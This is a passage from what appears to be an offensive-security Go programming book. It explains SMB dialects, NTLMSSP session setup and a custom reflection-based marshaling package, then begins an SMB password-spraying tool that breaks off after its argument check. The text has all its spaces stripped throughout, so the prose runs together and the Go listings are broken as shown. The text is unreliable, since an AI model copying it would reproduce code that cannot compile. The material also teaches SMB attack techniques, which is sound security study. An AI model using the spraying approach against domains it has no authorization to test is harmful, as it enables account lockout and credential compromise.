Althoughthisconcludesthechapter,youstillhaveaworldof possibilitiesforyourcode.Forexample,CobaltStrikecan operateinahybridfashion,usingHTTPandDNSfordifferent operations.Todothis,you’llhavetomodifyyourproxyto respondwiththelistener’sIPforArecords;you’llalsoneedto forwardadditionalportstoyourcontainers.Inthenext chapter,you’lldelveintotheconvolutedcrazinessthatisSMB andNTLM.Now,goforthandconquer! 6 INTERACTINGWITHSMBANDNTLM Inthepreviouschapters,youexaminedvariouscommon protocolsusedfornetworkcommunication,includingraw TCP,HTTP,andDNS.Eachoftheseprotocolshasinteresting usecasesforattackers.Althoughanextensivenumberofother networkprotocolsexist,we’llconcludeourdiscussionof networkprotocolsbyexaminingServerMessageBlock(SMB), aprotocolthatarguablyprovestobethemostusefulduring Windowspost-exploitation. SMBisperhapsthemostcomplicatedprotocolyou’llsee inthisbook.Ithasavarietyofuses,butSMBiscommonly usedforsharingresourcessuchasfiles,printers,andserial portsacrossanetwork.Fortheoffensive-mindedreader,SMB allowsinterprocesscommunicationsbetweendistributed networknodesvianamedpipes.Inotherwords,youcan executearbitrarycommandsonremotehosts.Thisis essentiallyhowPsExec,aWindowstoolthatexecutesremote commandslocally,works. SMBhasseveralotherinterestingusecases,particularly duetothewayithandlesNTLANManager(NTLM) authentication,achallenge-responsesecurityprotocolused heavilyonWindowsnetworks.Theseusesincluderemote passwordguessing,hash-basedauthentication(orpass-the- hash),SMBrelay,andNBNS/LLMNRspoofing.Covering eachoftheseattackswouldtakeanentirebook. We’llbeginthischapterwithadetailedexplanationofhow toimplementSMBinGo.Next,you’llleveragetheSMB packagetoperformremotepasswordguessing,usethepass- the-hashtechniquetosuccessfullyauthenticateyourselfby usingonlyapassword’shash,andcracktheNTLMv2hashof apassword. THESMBPACKAGE Atthetimeofthiswriting,noofficialSMBpackageexistsin Go,butwecreatedapackagewhereyoucanfindthebook- friendlyversionathttps://github.com/blackhat- go/bhg/blob/master/ch-6/smb/.Althoughwewon’tshowyou everydetailofthispackageinthischapter,you’llstilllearn thebasicsofinterpretingtheSMBspecificationinorderto createthebinarycommunicationsnecessaryto“speakSMB,” unlikeinpreviouschapters,whereyousimplyreusedfully compliantpackages.You’llalsolearnhowtouseatechnique calledreflectiontoinspectinterfacedatatypesatruntimeand definearbitraryGostructurefieldtagstomarshaland unmarshalcomplicated,arbitrarydata,whilemaintaining scalabilityforfuturemessagestructuresanddatatypes. WhiletheSMBlibrarywe’vebuiltallowsonlybasic client-sidecommunications,thecodebaseisfairlyextensive. You’llseerelevantexamplesfromtheSMBpackagesothat youcanfullyunderstandhowcommunicationsandtasks,such asSMBauthentication,work. UNDERSTANDINGSMB SMBisanapplication-layerprotocol,likeHTTP,thatallows networknodestocommunicatewithoneanother.Unlike HTTP1.1,whichcommunicatesusingASCII-readabletext, SMBisabinaryprotocolthatusesacombinationoffixed-and variable-length,positional,andlittle-endianfields.SMBhas severalversions,alsoknownasdialects—thatis,versions2.0, 2.1,3.0,3.0.2,and3.1.1.Eachdialectperformsbetterthanits predecessors.Becausethehandlingandrequirementsvary fromonedialecttothenext,aclientandservermustagreeon whichdialecttouseaheadoftime.Theydothisduringan initialmessageexchange. Generally,Windowssystemssupportmultipledialectsand choosethemostcurrentdialectthatboththeclientandserver support.MicrosofthasprovidedTable6-1,whichshows whichWindowsversionsselectwhichdialectduringthe negotiationprocess.(Windows10andWS2016—notshown inthegraphic—negotiateSMBversion3.1.1.) Table6-1:SMBDialectsNegotiatedByWindowsVersions Operating system Window s8.1WS 2012R2 Window s8WS 2012 Window s7WS 2008R2 Window sVista WS 2008 Previous versions Windows 8.1 SMB 3.02 SMB3.0 SMB2.1 SMB2.0 SMB1.0 WS2012R2 Windows8 WS2012 SMB3.0 SMB3.0 SMB2.1 SMB2.0 SMB1.0 Windows7 WS2008R2 SMB2.1 SMB2.1 SMB2.1 SMB2.0 SMB1.0 Windows Vista WS2008 SMB2.0 SMB2.0 SMB2.0 SMB2.0 SMB1.0 Previous versions SMB1.0 SMB1.0 SMB1.0 SMB1.0 SMB1.0 Forthischapter,you’llusetheSMB2.1dialect,because mostmodernWindowsversionssupportit. UnderstandingSMBSecurityTokens SMBmessagescontainsecuritytokensusedtoauthenticate usersandmachinesacrossanetwork.Muchliketheprocessof selectingtheSMBdialect,selectingtheauthentication mechanismtakesplacethroughaseriesofSessionSetup messages,whichallowclientsandserverstoagreeona mutuallysupportedauthenticationtype.ActiveDirectory domainscommonlyuseNTLMSecuritySupportProvider (NTLMSSP),abinary,positionalprotocolthatusesNTLM passwordhashesincombinationwithchallenge-response tokensinordertoauthenticateusersacrossanetwork. Challenge-responsetokensarelikethecryptographicanswer toaquestion;onlyanentitythatknowsthecorrectpassword cananswerthequestioncorrectly.Althoughthischapter focusessolelyonNTLMSSP,Kerberosisanothercommon authenticationmechanism. SeparatingtheauthenticationmechanismfromtheSMB specificationitselfallowsSMBtousedifferentauthentication methodsindifferentenvironments,dependingondomainand enterprisesecurityrequirementsaswellasclient-server support.However,separatingtheauthenticationandtheSMB specificationmakesitmoredifficulttocreatean implementationinGo,becausetheauthenticationtokensare AbstractSyntaxNotationOne(ASN.1)encoded.Forthis chapter,youdon’tneedtoknowtoomuchaboutASN.1—just knowthatit’sabinaryencodingformatthatdiffersfromthe positionalbinaryencodingyou’lluseforgeneralSMB.This mixedencodingaddscomplexity. UnderstandingNTLMSSPiscrucialtocreatinganSMB implementationthatissmartenoughtomarshalandunmarshal messagefieldsselectively,whileaccountingforthepotential thatadjacentfields—withinasinglemessage—maybe encodedordecodeddifferently.Gohasstandardpackagesthat youcanuseforbinaryandASN.1encoding,butGo’sASN.1 packagewasn’tbuiltforgeneral-purposeuse;soyoumusttake intoaccountafewnuances. SettingUpanSMBSession Theclientandserverperformthefollowingprocessto successfullysetupanSMB2.1sessionandchoosethe NTLMSSPdialect: 1. TheclientsendsaNegotiateProtocolrequesttotheserver.Themessage includesalistofdialectsthattheclientsupports. 2. TheserverrespondswithaNegotiateProtocolresponsemessage,which indicatesthedialecttheserverselected.Futuremessageswillusethatdialect. Includedintheresponseisalistofauthenticationmechanismstheserver supports. 3. Theclientselectsasupportedauthenticationtype,suchasNTLMSSP,anduses theinformationtocreateandsendaSessionSetuprequestmessagetotheserver. Themessagecontainsanencapsulatedsecuritystructureindicatingthatit’san NTLMSSPNegotiaterequest. 4. TheserverreplieswithaSessionSetupresponsemessage.Thismessage indicatesthatmoreprocessingisrequiredandincludesaserverchallengetoken. 5. Theclientcalculatestheuser’sNTLMhash—whichusesthedomain,user,and passwordasinputs—andthenusesitincombinationwiththeserverchallenge, randomclientchallenge,andotherdatatogeneratethechallengeresponse.It includesthisinanewSessionSetuprequestmessagethattheclientsendstothe server.Unlikethemessagesentinstep3,theencapsulatedsecuritystructure indicatesthatit’sanNTLMSSPAuthenticaterequest.Thisway,theservercan differentiatebetweenthetwoSessionSetupSMBrequests. 6. Theserverinteractswithanauthoritativeresource,suchasadomaincontroller forauthenticationusingdomaincredentials,tocomparethechallenge-response informationtheclientsuppliedwiththevaluetheauthoritativeresource calculated.Iftheymatch,theclientisauthenticated.TheserversendsaSession Setupresponsemessagebacktotheclient,indicatingthatloginwassuccessful. Thismessagecontainsauniquesessionidentifierthattheclientcanusetotrack sessionstate. 7. Theclientsendsadditionalmessagestoaccessfileshares,namedpipes,printers, andsoon;eachmessageincludesthesessionidentifierasareferencethrough whichtheservercanvalidatetheauthenticationstatusoftheclient. YoumightnowbegintoseehowcomplicatedSMBisand understandwhythereisneitherastandardnorathird-partyGo packagethatimplementstheSMBspecification.Ratherthan takeacomprehensiveapproachanddiscusseverynuanceof thelibrarieswecreated,let’sfocusonafewofthestructures, messages,oruniqueaspectsthatcanhelpyouimplementyour ownversionsofwell-definednetworkingprotocols.Insteadof extensivecodelistings,thischapterdiscussesonlythegood stuff,sparingyoufrominformationoverload. Youcanusethefollowingrelevantspecificationsasa reference,butdon’tfeelobligatedtoreadeachone.AGoogle searchwillletyoufindthelatestrevisions. MS-SMB2TheSMB2specificationtowhichweattempted toconform.Thisisthemainspecificationofconcernand encapsulatesaGenericSecurityServiceApplication ProgrammingInterface(GSS-API)structureforperforming authentication. MS-SPNGandRFC4178TheGSS-APIspecification withinwhichtheMS-NLMPdataisencapsulated.The structureisASN.1encoded. MS-NLMPThespecificationusedforunderstanding NTLMSSPauthenticationtokenstructureandchallenge- responseformat.Itincludesformulasandspecificsfor calculatingthingsliketheNTLMhashandauthentication responsetoken.UnliketheouterGSS-APIcontainer, NTLMSSPdataisn’tASN.1encoded. ASN.1ThespecificationforencodingdatabyusingASN.1 format. Beforewediscusstheinterestingsnippetsofcodefromthe package,youshouldunderstandsomeofthechallengesyou needtoovercomeinordertogetworkingSMB communications. UsingMixedEncodingofStructFields Aswealludedtoearlier,theSMBspecificationrequires positional,binary,little-endian,fixed-andvariable-length encodingforthemajorityofthemessagedata.Butsomefields needtobeASN.1encoded,whichusesexplicitlytagged identifiersforfieldindex,type,andlength.Inthiscase,many oftheASN.1subfieldstobeencodedareoptionalandnot restrictedtoaspecificpositionororderwithinthemessage field.Thismayhelpclarifythechallenge. InListing6-1,youcanseeahypotheticalMessagestructthat presentsthesechallenges. typeFoostruct{ Xint Y[]byte } typeMessagestruct{ Aint//Binary,positionalencoding BFoo//ASN.1encodingasrequiredbyspec Cbool//Binary,positionalencoding } Listing6-1:Ahypotheticalexampleofastructrequiringvariablefieldencodings Thecruxoftheproblemhereisthatyoucan’tencodeall thetypesinsidetheMessagestructbyusingthesameencoding schemebecauseB,aFootype,isexpectedtobeASN.1 encoded,whereasotherfieldsaren’t. WritingaCustomMarshalingandUnmarshalingInterface Recallfrompreviouschaptersthatencodingschemessuchas JSONorXMLrecursivelyencodethestructandallfieldsby usingthesameencodingformat.Itwascleanandsimple.You don’thavethesameluxuryhere,becauseGo’sbinarypackage behavesthesameway—itencodesallstructsandstructfields recursivelywithoutacareintheworld,butthiswon’tworkfor youbecausethemessagerequiresmixedencoding: binary.Write(someWriter,binary.LittleEndian,message) Thesolutionistocreateaninterfacethatallowsarbitrary typestodefinecustommarshalingandunmarshalinglogic (Listing6-2). ❶typeBinaryMarshallableinterface{ ❷MarshalBinary(*Metadata)([]byte,error) ❸UnmarshalBinary([]byte,*Metadata)error } Listing6-2:Aninterfacedefinitionrequiringcustommarshalingandunmarshaling methods Theinterface❶,BinaryMarshallable,definestwomethodsthat mustbeimplemented:MarshalBinary()❷andUnmarshalBinary()❸. Don’tworrytoomuchabouttheMetadatatypepassedintothe functions,asit’snotrelevanttounderstandthemain functionality. WrappingtheInterface AnytypethatimplementstheBinaryMarshallableinterfacecan controlitsownencoding.Unfortunately,it’snotassimpleas justdefiningafewfunctionsontheFoodatatype.Afterall, Go’sbinary.Write()andbinary.Read()methods,whichyouusefor encodinganddecodingbinarydata,don’tknowanything aboutyourarbitrarilydefinedinterface.Youneedtocreatea marshal()andunmarshal()wrapperfunction,withinwhichyou inspectthedatatodeterminewhetherthetypeimplementsthe BinaryMarshallableinterface,asinListing6-3.(Allthecode listingsattherootlocationof/existundertheprovidedgithub repohttps://github.com/blackhat-go/bhg/.) funcmarshal(vinterface{},meta*Metadata)([]byte,error){ --snip-- bm,ok:=v.(BinaryMarshallable)❶ ifok{ //Custommarshallableinterfacefound. buf,err:=bm.MarshalBinary(meta)❷ iferr!=nil{ returnnil,err } returnbuf,nil } --snip-- } --snip-- funcunmarshal(buf[]byte,vinterface{},meta*Metadata)(interface{},error){ --snip-- bm,ok:=v.(BinaryMarshallable)❸ ifok{ //Custommarshallableinterfacefound. iferr:=bm.UnmarshalBinary(buf,meta)❹;err!=nil{ returnnil,err } returnbm,nil } --snip-- } Listing6-3:Usingtypeassertionstoperformcustomdatamarshalingand unmarshaling(/ch-6/smb/smb/encoder/encoder.go) Listing6-3detailsonlyasubsectionofthemarshal()and unmarshal()functionstakenfromhttps://github.com/blackhat- go/bhg/blob/master/ch-6/smb/smb/encoder/encoder.go.Both functionscontainasimilarsectionofcodethatattemptsto assertthesuppliedinterface,v,toaBinaryMarshallablevariable namedbm❶❸.Thissucceedsonlyifwhatevertypevis actuallyimplementsthenecessaryfunctionsrequiredbyyour BinaryMarshallableinterface.Ifitsucceeds,yourmarshal()function ❷makesacalltobm.MarshalBinary(),andyourunmarshal()function ❹makesacalltobm.UnmarshalBinary().Atthispoint,your programflowwillbranchoffintothetype’sencodingand decodinglogic,allowingatypetomaintaincompletecontrol overthewayit’shandled. ForcingASN.1Encoding Let’slookathowtoforceyourFootypetobeASN.1encoded, whileleavingotherfieldsinyourMessagestructas-is.Todo this,youneedtodefinetheMarshalBinary()andUnmarshalBinary() functionsonthetype,asinListing6-4. func(f*Foo)MarshalBinary(meta*encoder.Metadata)([]byte,error){ buf,err:=asn1.Marshal(*f)❶ iferr!=nil{ returnnil,err } returnbuf,nil } func(f*Foo)UnmarshalBinary(buf[]byte,meta*encoder.Metadata)error{ data:=Foo{} if_,err:=asn1.Unmarshal(buf,&data)❷;err!=nil{ returnerr } *f=data returnnil } Listing6-4:ImplementingtheBinaryMarshallableinterfaceforASN.1encoding Themethodsdon’tdomuchbesidesmakecallstoGo’s asn1.Marshal()❶andasn1.Unmarshal()❷functions.Youcanfind variationsofthesefunctionswithinthegsspackagecodeat https://github.com/blackhat-go/bhg/blob/master/ch- 6/smb/gss/gss.go.Theonlyrealdifferencebetweenthemis thatthegsspackagecodehasadditionaltweakstomakeGo’s asn1encodingfunctionplaynicelywiththedataformatdefined withintheSMBspec. Thentlmssppackageathttps://github.com/blackhat- go/bhg/blob/master/ch-6/smb/ntlmssp/ntlmssp.gocontainsan alternativeimplementationoftheMarshalBinary()and UnmarshalBinary()functions.Althoughitdoesn’tdemonstrate ASN.1encoding,thentlmsspcodeshowshowtohandle encodingofanarbitrarydatatypebyusingnecessary metadata.Themetadata—thelengthsandoffsetsofvariable- lengthbyteslices—ispertinenttotheencodingprocess.This metadataleadsustothenextchallengeyouneedtoaddress. UnderstandingMetadataandReferentialFields IfyoudigintotheSMBspecificationalittle,you’llfindthat somemessagescontainfieldsthatreferenceotherfieldsofthe samemessage.Forexample,thefields—takenfromthe Negotiateresponsemessage—refertotheoffsetandlengthof avariable-lengthbyteslicethatcontainstheactualvalue: SecurityBufferOffset(2bytes):Theoffset,inbytes,from thebeginningoftheSMB2headertothesecuritybuffer. SecurityBufferLength(2bytes):Thelength,inbytes,of thesecuritybuffer. Thesefieldsessentiallyactasmetadata.Laterinthe messagespec,youfindthevariable-lengthfieldwithinwhich yourdataactuallyresides: Buffer(variable):Thevariable-lengthbufferthatcontains thesecuritybufferfortheresponse,asspecifiedby SecurityBufferOffsetandSecurityBufferLength.Thebuffer SHOULDcontainatokenasproducedbytheGSSprotocol asspecifiedinsection3.3.5.4.IfSecurityBufferLengthis0, thisfieldisemptyandclient-initiatedauthentication,with anauthenticationprotocoloftheclient’schoice,willbe usedinsteadofserver-initiatedSPNEGOauthentication,as describedin[MS-AUTHSOD]section2.1.2.2. Generallyspeaking,thisishowtheSMBspecconsistently handlesvariable-lengthdata:fixed-positionlengthandoffset fieldsdepictingthesizeandlocationofthedataitself.Thisis notspecifictoresponsemessagesortheNegotiatemessage, andoftenyou’llfindmultiplefieldswithinasinglemessage usingthispattern.Really,anytimeyouhaveavariable-length field,you’llfindthispattern.Themetadataexplicitlyinstructs themessagereceiveronhowtolocateandextractthedata. Thisisuseful,butitcomplicatesyourencodingstrategy becauseyounowneedtomaintainarelationshipbetween differentfieldswithinastruct.Youcan’t,forexample,just marshalanentiremessagebecausesomeofthemetadatafields —forexample,lengthandoffset—won’tbeknownuntilthe dataitselfismarshaledor,inthecaseoftheoffset,allfields precedingthedataaremarshaled. UnderstandingtheSMBImplementation Theremainderofthissubsectionaddressessomeoftheugly detailsregardingtheSMBimplementationwedevised.You don’tneedtounderstandthisinformationtousethepackage. Weplayedaroundwithavarietyofapproachestohandle referentialdata,eventuallysettlingonasolutionthatutilizesa combinationofstructurefieldtagsandreflection.Recallthat reflectionisatechniquethroughwhichaprogramcaninspect itself,particularlyexaminingthingslikeitsowndatatypes. Fieldtagsaresomewhatrelatedtoreflectioninthatthey definearbitrarymetadataaboutastructfield.Youmayrecall themfrompreviousXML,MSGPACK,orJSONencoding examples.Forexample,Listing6-5usesstructtagstodefine JSONfieldnames. typeFoostruct{ Aint`json:"a"` Bstring`json:"b"` } Listing6-5:AstructdefiningJSONfieldtags Go’sreflectpackagecontainsthefunctionsweusedto inspectdatatypesandextractfieldtags.Atthatpoint,itwasa matterofparsingthetagsanddoingsomethingmeaningful withtheirvalues.InListing6-6,youcanseeastructdefined intheSMBpackage. typeNegotiateResstruct{ Header StructureSizeuint16 SecurityModeuint16 DialectRevisionuint16 Reserveduint16 ServerGuid[]byte`smb:"fixed:16"`❶ Capabilitiesuint32 MaxTransactSizeuint32 MaxReadSizeuint32 MaxWriteSizeuint32 SystemTimeuint64 ServerStartTimeuint64 SecurityBufferOffsetuint16`smb:"offset:SecurityBlob"`❷ SecurityBufferLengthuint16`smb:"len:SecurityBlob"`❸ Reserved2uint32 SecurityBlob*gss.NegTokenInit } Listing6-6:UsingSMBfieldtagsfordefiningfieldmetadata(/ch- 6/smb/smb/smb.go) Thistypeusesthreefieldtags,identifiedbytheSMBkey: fixed❶,offset❷,andlen❸.Keepinmindthatwechoseall thesenamesarbitrarily.Youaren’tobligatedtouseaspecific name.Theintentofeachtagisasfollows: fixedidentifiesa[]byteasafixed-lengthfieldoftheprovidedsize.Inthiscase, ServerGuidis16bytesinlength. offsetdefinesthenumberofbytesfromthebeginningofthestructtothefirst positionofavariable-lengthdatabuffer.Thetagdefinesthenameofthefield— inthiscase,SecurityBlob—towhichtheoffsetrelates.Afieldbythisreferenced nameisexpectedtoexistinthesamestruct. lendefinesthelengthofavariable-lengthdatabuffer.Thetagdefinesthename ofthefield—inthiscase,SecurityBlob,towhichthelengthrelates.Afieldby thisreferencednameshouldexistinthesamestruct. Asyoumighthavenoticed,ourtagsallowusnotonlyto createrelationships—througharbitrarymetadata—between differentfields,butalsotodifferentiatebetweenfixed-length byteslicesandvariable-lengthdata.Unfortunately,adding thesestructtagsdoesn’tmagicallyfixtheproblem.Thecode needstohavethelogictolookforthesetagsandtakespecific actionsonthemduringmarshalingandunmarshaling. ParsingandStoringTags InListing6-7,theconveniencefunction,calledparseTags(), performsthetag-parsinglogicandstoresthedatainahelper structoftypeTagMap. funcparseTags(sfreflect.StructField❶)(*TagMap,error){ ret:=&TagMap{ m:make(map[string]interface{}), has:make(map[string]bool), } tag:=sf.Tag.Get("smb")❷ smbTags:=strings.Split(tag,",")❸ for_,smbTag:=rangesmbTags❹{ tokens:=strings.Split(smbTag,":")❺ switchtokens[0]{❻ case"len","offset","count": iflen(tokens)!=2{ returnnil,errors.New("Missingrequiredtagdata.Expectingkey:val") } ret.Set(tokens[0],tokens[1]) case"fixed": iflen(tokens)!=2{ returnnil,errors.New("Missingrequiredtagdata.Expectingkey:val") } i,err:=strconv.Atoi(tokens[1]) iferr!=nil{ returnnil,err } ret.Set(tokens[0],i)❼ } Listing6-7:Parsingstructuretags(/ch-6/smb/smb/encoder/encoder.go) Thefunctionacceptsaparameternamedsfoftype reflect.StructField❶,whichisatypedefinedwithinGo’sreflect package.Thecodecallssf.Tag.Get("smb")ontheStructFieldvariable toretrieveanysmbtagsdefinedonthefield❷.Again,thisis anarbitrarynamewechoseforourprogram.Wejustneedto makesurethatthecodetoparsethetagsisusingthesamekey astheoneweusedinourstruct’stypedefinition. Wethensplitthesmbtagsonacomma❸,incaseweneed tohavemultiplesmbtagsdefinedonasinglestructfieldinthe future,andloopthrougheachtag❹.Wespliteachtagona colon❺—recallthatweusedtheformatname:valueforourtags, suchasfixed:16andlen:SecurityBlob.Withtheindividualtagdata separatedintoitsbasickeyandvaluepairing,weuseaswitch statementonthekeytoperformkey-specificvalidationlogic, suchasconvertingvaluestointegersforfixedtagvalues❻. Lastly,thefunctionsetsthedatainourcustommapnamed ret❼. InvokingtheparseTags()FunctionandCreatinga reflect.StructFieldObject Now,howdoweinvokethefunction,andhowdowecreate anobjectoftypereflect.StructField?Toanswerthesequestions, lookattheunmarshal()functioninListing6-8,whichiswithin thesamesourcefilethathasourparseTags()convenience function.Theunmarshal()functionisextensive,sowe’lljust piecetogetherthemostrelevantportions. funcunmarshal(buf[]byte,vinterface{},meta*Metadata)(interface{},error){ typev:=reflect.TypeOf(v)❶ valuev:=reflect.ValueOf(v)❷ --snip-- r:=bytes.NewBuffer(buf) switchtypev.Kind(){❸ casereflect.Struct: --snip-- casereflect.Uint8: --snip-- casereflect.Uint16: --snip-- casereflect.Uint32: --snip-- casereflect.Uint64: --snip-- casereflect.Slice,reflect.Array: --snip-- default: returnerrors.New("Unmarshalnotimplementedforkind:"+ typev.Kind().String()),nil } returnnil,nil } Listing6-8:Usingreflectiontodynamicallyunmarshalunknowntypes(/ch- 6/smb/smb/encoder/encoder.go) Theunmarshal()functionusesGo’sreflectpackagetoretrieve thetype❶andvalue❷ofthedestinationinterfacetowhich ourdatabufferwillbeunmarshaled.Thisisnecessarybecause inordertoconvertanarbitrarybytesliceintoastruct,weneed toknowhowmanyfieldsareinthestructandhowmanybytes toreadforeachfield.Forexample,afielddefinedasuint16 consumes2bytes,whereasauint64consumes8bytes.Byusing reflection,wecaninterrogatethedestinationinterfacetosee whatdatatypeitisandhowtohandlethereadingofdata. Becausethelogicforeachtypewilldiffer,weperformaswitch onthetypebycallingtypev.Kind()❸,whichreturnsareflect.Kind instanceindicatingthekindofdatatypewe’reworkingwith. You’llseethatwehaveaseparatecaseforeachoftheallowed datatypes. HandlingStructs Let’slookatthecaseblock,inListing6-9,thathandlesastruct type,sincethatisalikelyinitialentrypoint. casereflect.Struct: m:=&Metadata{❶ Tags:&TagMap{}, Lens:make(map[string]uint64), Parent:v, ParentBuf:buf, Offsets:make(map[string]uint64), CurrOffset:0, } fori:=0;i<typev.NumField();i++{❷ m.CurrField=typev.Field(i).Name❸ tags,err:=parseTags(typev.Field(i))❹ iferr!=nil{ returnnil,err } m.Tags=tags vardatainterface{} switchtypev.Field(i).Type.Kind(){❺ casereflect.Struct: data,err=unmarshal(buf[m.CurrOffset:], valuev.Field(i).Addr().Interface(),m)❻ default: data,err=unmarshal(buf[m.CurrOffset:],valuev.Field(i).Interface(), m)❼ } iferr!=nil{ returnnil,err } valuev.Field(i).Set(reflect.ValueOf(data))❽ } v=reflect.Indirect(reflect.ValueOf(v)).Interface() meta.CurrOffset+=m.CurrOffset❾ returnv,nil Listing6-9:Unmarshalingastructtype(/ch-6/smb/smb/encoder/encoder.go) ThecaseblockbeginsbydefininganewMetadataobject❶,a typeusedtotrackrelevantmetadata,includingthecurrent bufferoffset,fieldtags,andotherinformation.Usingourtype variable,wecalltheNumField()methodtoretrievethenumber offieldswithinthestruct❷.Itreturnsanintegervaluethat actsastheconstraintforaloop. Withintheloop,wecanextractthecurrentfieldthrougha calltothetype’sField(indexint)method.Themethodreturnsa reflect.StructFieldtype.You’llseeweusethismethodafewtimes throughoutthiscodesnippet.Thinkofitasretrievingan elementfromaslicebyindexvalue.Ourfirstusage❸ retrievesthefieldtoextractthefield’sname.Forexample, SecurityBufferOffsetandSecurityBlobarefieldnameswithinthe NegotiateResstructdefinedinListing6-6.Thefieldnameis assignedtotheCurrFieldpropertyofourMetadataobject.The secondcalltotheField(indexint)methodisinputtedtothe parseTags()function❹fromListing6-7.Weknowthisfunction parsesourstructfieldtags.ThetagsareincludedinourMetadata objectforlatertrackingandusage. Next,weuseaswitchstatementtoactspecificallyonthe fieldtype❺.Thereareonlytwocases.Thefirsthandles instanceswherethefielditselfisastruct❻,inwhichcase,we makearecursivecalltotheunmarshal()function,passingtoita pointertothefieldasaninterface.Thesecondcasehandlesall otherkinds(primitives,slices,andsoon),recursivelycalling theunmarshal()functionandpassingitthefielditselfasan interface❼.Bothcallsdosomefunnybusinesstoadvancethe buffertostartatourcurrentoffset.Ourrecursivecall eventuallyreturnsaninterface{},whichisatypethatcontains ourunmarshaleddata.Weusereflectiontosetourcurrent field’svaluetothevalueofthisinterfacedata❽.Lastly,we advanceourcurrentoffsetinthebuffer❾. Yikes!Canyouseehowthiscanbeachallengeto develop?Wehaveaseparatecaseforeverykindofinput. Luckily,thecaseblockthathandlesastructisthemost complicated. Handlinguint16 Ifyouarereallypayingattention,you’reprobablyasking: wheredoyouactuallyreaddatafromthebuffer?Theanswer isnowhereinListing6-9.Recallthatwearemakingrecursive callstotheunmarshal()function,andeachtime,wepasstheinner fieldstothefunction.Eventuallywe’llreachprimitivedata types.Afterall,atsomepoint,theinnermostnestedstructsare composedofbasicdatatypes.Whenweencounterabasicdata type,ourcodewillmatchagainstadifferentcaseinthe outermostswitchstatement.Forexample,whenweencountera uint16datatype,thiscodeexecutesthecaseblockinListing6- 10. casereflect.Uint16: varretuint16 iferr:=binary.Read(r,binary.LittleEndian,&ret)❶;err!=nil{ returnnil,err } ifmeta.Tags.Has("len")❷{ ref,err:=meta.Tags.GetString("len")❸ iferr!=nil{ returnnil,err } meta.Lens[ref]❹=uint64(ret) } ❺meta.CurrOffset+=uint64(binary.Size(ret)) returnret,nil Listing6-10:Unmarshalinguint16data(/ch-6/smb/smb/encoder/encoder.go/) Inthiscaseblock,wemakeacalltobinary.Read()inorderto readdatafromourbufferintoavariable,ret❶.Thisfunction issmartenoughtoknowhowmanybytestoread,basedoff thetypeofthedestination.Inthiscase,retisauint16,so2bytes areread. Next,wecheckwhetherthelenfieldtagispresent❷.Ifit is,weretrievethevalue—thatis,afieldname—tiedtothat key❸.Recallthatthisvaluewillbeafieldnametowhichthe currentfieldisexpectedtorefer.Becausethelength- identifyingfieldsprecedetheactualdataintheSMB messages,wedon’tknowwherethebufferdataactually resides,andsowecan’ttakeanyactionyet. We’vejustacquiredlengthmetadata,andthere’snobetter placetostoreitthaninourMetadataobject.Westoreitwithina map[string]uint64thatmaintainsarelationshipofreferencefield namestotheirlengths❹.Phrasedanotherway,wenowknow howlongavariable-lengthbytesliceneedstobe.Weadvance thecurrentoffsetbythesizeofthedatawejustread❺,and returnthevaluereadfromthebuffer. Similarlogicandmetadatatrackinghappenintheprocess ofhandlingtheoffsettaginformation,butweomittedthatcode forbrevity. HandlingSlices InListing6-11,youcanseethecaseblockthatunmarshals slices,whichweneedtoaccountforbothfixed-andvariable- lengthdatawhileusingtagsandmetadataintheprocess. casereflect.Slice,reflect.Array: switchtypev.Elem().Kind()❶{ casereflect.Uint8: varlength,offsetint❷ varerrerror ifmeta.Tags.Has("fixed"){ iflength,err=meta.Tags.GetInt("fixed")❸;err!=nil{ returnnil,err } //Fixedlengthfieldsadvancecurrentoffset meta.CurrOffset+=uint64(length)❹ }else{ ifval,ok:=meta.Lens[meta.CurrField]❺;ok{ length=int(val) }else{ returnnil,errors.New("Variablelengthfieldmissinglengthreferencein struct") } ifval,ok:=meta.Offsets[meta.CurrField]❻;ok{ offset=int(val) }else{ //Nooffsetfoundinmap.Usecurrentoffset offset=int(meta.CurrOffset) } //Variablelengthdataisrelativetoparent/outerstruct. //Resetreadertopointtobeginningofdata r=bytes.NewBuffer(meta.ParentBuf[offset:offset+length]) //VariablelengthdatafieldsdoNOTadvancecurrentoffset. } data:=make([]byte,length)❼ iferr:=binary.Read(r,binary.LittleEndian,&data)❽;err!=nil{ returnnil,err } returndata,nil Listing6-11:Unmarshalingfixed-andvariable-lengthbyteslices(/ch- 6/smb/smb/encoder/encoder.go/) First,weusereflectiontodeterminetheslice’selement type❶.Forexample,handlingof[]uint8isdifferentfrom []uint32,asthenumberofbytesperelementdiffers.Inthiscase, we’rehandlingonly[]uint8slices.Next,wedefineacoupleof localvariables,lengthandoffset,tousefortrackingthelengthof thedatatoreadandtheoffsetwithinthebufferfromwhichto beginreading❷.Ifthesliceisdefinedwiththefixedtag,we retrievethevalueandassignittolength❸.Recallthatthetag valueforthefixedkeyisanintegerthatdefinesthelengthof theslice.We’llusethislengthtoadvancethecurrentbuffer offsetforfuturereads❹.Forfixed-lengthfields,theoffsetis leftasitsdefaultvalue—zero—sinceitwillalwaysappearat thecurrentoffset.Variable-lengthslicesareslightlymore complexbecauseweretrieveboththelength❺andoffset❻ informationfromourMetadatastructure.Afieldusesitsown nameasthekeyforthelookupofthedata.Recallhowwe populatedthisinformationpreviously.Withourlengthandoffset variablesproperlyset,wethencreateasliceofthedesired length❼anduseitinacalltobinary.Read()❽.Again,this functionissmartenoughtoreadbytesupuntilourdestination slicehasbeenfilled. Thishasbeenanexhaustinglydetailedjourneyintothe darkrecessesofcustomtags,reflection,andencodingwitha hintofSMB.Let’smovebeyondthisuglinessanddo somethingusefulwiththeSMBlibrary.Thankfully,the followingusecasesshouldbesignificantlylesscomplicated. GUESSINGPASSWORDSWITHSMB ThefirstSMBcasewe’llexamineisafairlycommononefor attackersandpentesters:onlinepasswordguessingoverSMB. You’lltrytoauthenticatetoadomainbyprovidingcommonly usedusernamesandpasswords.Beforedivingin,you’llneed tograbtheSMBpackagewiththefollowinggetcommand: $gogetgithub.com/bhg/ch-6/smb Oncethepackageisinstalled,let’sgettocoding.Thecode you’llcreate(showninListing6-12)acceptsafileofnewline- separatedusernames,apassword,adomain,andtargethost informationascommandlinearguments.Toavoidlocking accountsoutofcertaindomains,you’llattemptasingle passwordacrossalistofusersratherthanattemptalistof passwordsacrossoneormoreusers. WARNING Onlinepasswordguessingcanlockaccountsoutofadomain,effectively resultinginadenial-of-serviceattack.Takecautionwhentestingyourcode andrunthisagainstonlysystemsonwhichyou’reauthorizedtotest. funcmain(){ iflen(os.Args)!=5{ log.Fatalln("Usage:main</user/file><password><domain> <target_host>") } buf,err:=ioutil.ReadFile(os.Args[1]) 